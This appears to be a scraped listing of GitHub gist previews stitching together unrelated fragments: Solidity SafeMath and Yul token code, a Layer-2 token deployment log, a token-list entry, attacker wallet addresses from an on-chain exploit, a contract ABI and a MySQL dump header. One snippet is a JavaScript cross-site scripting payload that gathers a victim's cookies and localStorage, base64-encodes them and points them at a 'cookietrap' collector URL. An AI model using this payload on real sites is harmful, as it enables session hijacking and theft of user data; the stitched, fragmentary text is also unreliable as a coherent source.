This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| * | |
| * Requirements: | |
| * | |
| * - The divisor cannot be zero. | |
| */ | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| require(b > 0, "SafeMath: division by zero"); | |
| return a / b; | |
| } |
Setting allowance on gateway
Allowance successfully set — L1 tx hash: 0xb1ce2ae1a9757a68fda1733796c3c8139e6bea80c80dd946856ff197a8f476d2
Depositing / deploying standard token contract:
L1 deposit txn confirmed — L1 txn hash: 0x47f43d678d1a0fb113823eeb3a0eb11b76bfcb41c2bc4d91d49ac1b9773631f0
Waiting for L2 txn; this takes ~10 minutes; waiting for L2 txn hash: 0x52b96edcac0d42ce4ff3661392fb3131589a9797cdda48f7619f0b48b0518bbf
Done; your token is deployed on L2 at 0xf00dD64B2A7c9205575F8719B8d692536a2d6321
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "name": "Mask Network", | |
| "logoURI": "https://raw.githubusercontent.com/DimensionDev/Maskbook-Website/master/img/MB--CircleCanvas--WhiteOverBlue.svg", | |
| "keywords": [ | |
| "browser extension", | |
| "web3", | |
| "peer to peer", | |
| "encryption", | |
| "cryptography", | |
| "gundb", |
Thanks to the ping from trent, samczsun and yambot.
https://etherscan.io/address/0x4429abbf523bef0f1e934b04cff8584955c72548
attacker uses multiple addresses https://etherscan.io/address/0x4429abbf523bef0f1e934b04cff8584955c72548 https://etherscan.io/address/0x0de41bdc58ffaf4a8c1b7084a544fbbe10a9de56
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity 0.8.17; | |
| // Used in the `name()` function | |
| // "Yul Token" | |
| bytes32 constant nameLength = 0x0000000000000000000000000000000000000000000000000000000000000009; | |
| bytes32 constant nameData = 0x59756c20546f6b656e0000000000000000000000000000000000000000000000; | |
| // Used in the `symbol()` function | |
| // "YUL" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // The collector must decode the base64-encoded parameter 'payload' | |
| // Suggestion: The PHP script could redirect back to the user's referer, such as: | |
| // header("Location: " . $_SERVER['HTTP_REFERER']); | |
| collector="http://192.168.40.6/cookietrap/trap.php?payload="; | |
| c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }(); | |
| ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }(); | |
| payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls; | |
| enc=btoa(payload); | |
| alert("Yar cookies are: \n" + c); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [ | |
| { | |
| "inputs": [], | |
| "stateMutability": "nonpayable", | |
| "type": "constructor" | |
| }, | |
| { | |
| "anonymous": false, | |
| "inputs": [ | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- MySQL dump 10.13 Distrib 8.0.33, for Linux (x86_64) | |
| -- | |
| -- Host: db-mv-gg-quest.czh2afcpkxqi.eu-west-2.rds.amazonaws.com Database: ggquest | |
| -- ------------------------------------------------------ | |
| -- Server version 8.0.30 | |
| /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; | |
| /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; | |
| /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; | |
| /*!50503 SET NAMES utf8mb4 */; |